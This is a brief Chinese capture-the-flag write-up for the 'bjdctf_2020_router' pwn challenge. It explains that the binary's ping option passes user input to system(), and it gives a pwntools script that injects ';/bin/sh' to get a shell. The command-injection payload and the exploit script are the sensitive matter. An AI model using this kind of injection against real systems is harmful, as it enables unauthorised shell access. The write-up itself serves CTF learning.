bjdctf_2020_router
pwntools使用linux系统下命令执行
- 关键点在
case1的这个system函数执行上,dest中是ping命令 - 我们在
system执行函数时,加上;那么前后两个命令都会执行 - 所以我们拼接
strcat中加上;/bin/sh就可以得到shell
1
2
3
4
5
from pwn import *
io = process('./bjdctf_2020_router')
io.sendlineafter(b'Please input u choose:',b'1')
io.sendline(';/bin/sh')
io.interactive()
实话说有点水
This post is licensed under CC BY 4.0 by the author.
